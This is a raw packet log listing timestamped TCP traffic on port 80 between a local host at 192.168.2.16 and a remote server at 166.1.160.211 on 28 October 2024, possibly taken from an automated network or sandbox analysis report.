Oct 28, 2024 19:46:18.286267996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286284924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286303043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286336899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286351919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286372900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286422968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286950111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286984921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287019014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287029028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287053108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287087917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287103891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287122965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287156105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287173033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287189960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287224054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287240982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287259102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287308931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287849903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287885904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287919044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287946939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.287954092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.287986994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288005114 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288021088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288055897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288078070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288090944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288125992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288146019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288160086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288213968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288656950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288691044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288724899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288744926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288820028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288855076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288877964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.288935900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288969994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.288985014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289005041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289038897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289057970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289073944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289107084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289123058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289140940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289175034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289201021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289860010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289896011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289920092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289932013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289966106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.289998055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.289999008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290034056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290052891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290066957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290102005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290116072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290137053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290170908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290189981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290766954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290802956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290821075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290837049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290870905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290887117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290910959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290945053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.290960073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.290981054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291014910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291028976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291049004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291083097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291099072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291654110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291701078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291722059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291737080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291770935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291790962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291805029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291838884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291852951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291873932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291909933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291929960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.291944027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291977882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.291992903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.292516947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292552948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292565107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.292587996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292622089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292635918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.292656898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292690992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292707920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.292725086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292758942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292774916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.292793036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292828083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.292844057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293351889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293385983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293405056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293421030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293454885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293488979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293489933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293523073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293545008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293556929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293591022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293608904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293625116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293658972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293670893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.293694019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.293744087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294255972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294291019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294326067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294359922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294363022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294393063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294406891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294429064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294461966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294486046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294517040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294553995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294572115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294589043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294624090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294646025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.294656992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.294711113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.327984095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328001022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328016996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328053951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328069925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328085899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328087091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328102112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328119040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328149080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328176975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328691006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328759909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328798056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328814983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328833103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328869104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328886986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328903913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328938961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.328968048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.328977108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329013109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329025984 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.329051018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329128027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.329385042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329421043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329456091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329473972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.329490900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329525948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329547882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.329560995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329596043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329611063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.329632044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.329680920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.330001116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.330035925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.330069065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.330121994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.376228094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.436577082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.442821980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443022013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443057060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443087101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443181038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443214893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443239927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443248987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443301916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443310022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443685055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443718910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443747997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443754911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443809032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443825006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443873882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443907022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443928003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.443958044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.443990946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444005966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.444041014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444075108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444113016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.444178104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444228888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.444814920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444849968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444883108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444909096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.444915056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444950104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.444966078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.444984913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445018053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445031881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.445051908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445085049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445115089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.445116997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445152044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445167065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.445796967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445832968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445853949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.445866108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.445916891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.445967913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446002007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446037054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446048975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.446070910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446105003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446120024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.446137905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446172953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446201086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.446208954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446254015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.446935892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.446969986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447005033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447024107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447037935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447072029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447103024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447104931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447139025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447160959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447173119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447206020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447227955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447241068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447274923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447300911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447753906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447803974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.447909117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447943926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.447978020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448000908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448018074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448050976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448065042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448085070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448118925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448132992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448153973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448185921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448208094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448219061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448271036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448549032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448713064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448771954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448853970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448889017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448920965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448947906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.448956013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.448988914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449007988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.449023962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449055910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449067116 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.449089050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449121952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449139118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.449825048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449858904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449892998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449897051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.449925900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.449940920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.449975967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450011015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450030088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.450042963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450077057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450107098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.450109959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450144053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450159073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.450177908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450251102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.450841904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450876951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450917006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450936079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.450951099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450982094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.450999975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.451016903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451050043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451075077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.451082945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451116085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451138020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.451149940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451183081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451200962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.451735973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451770067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.451792955 CET	49726	80	192.168.2.16	166.1.160.211
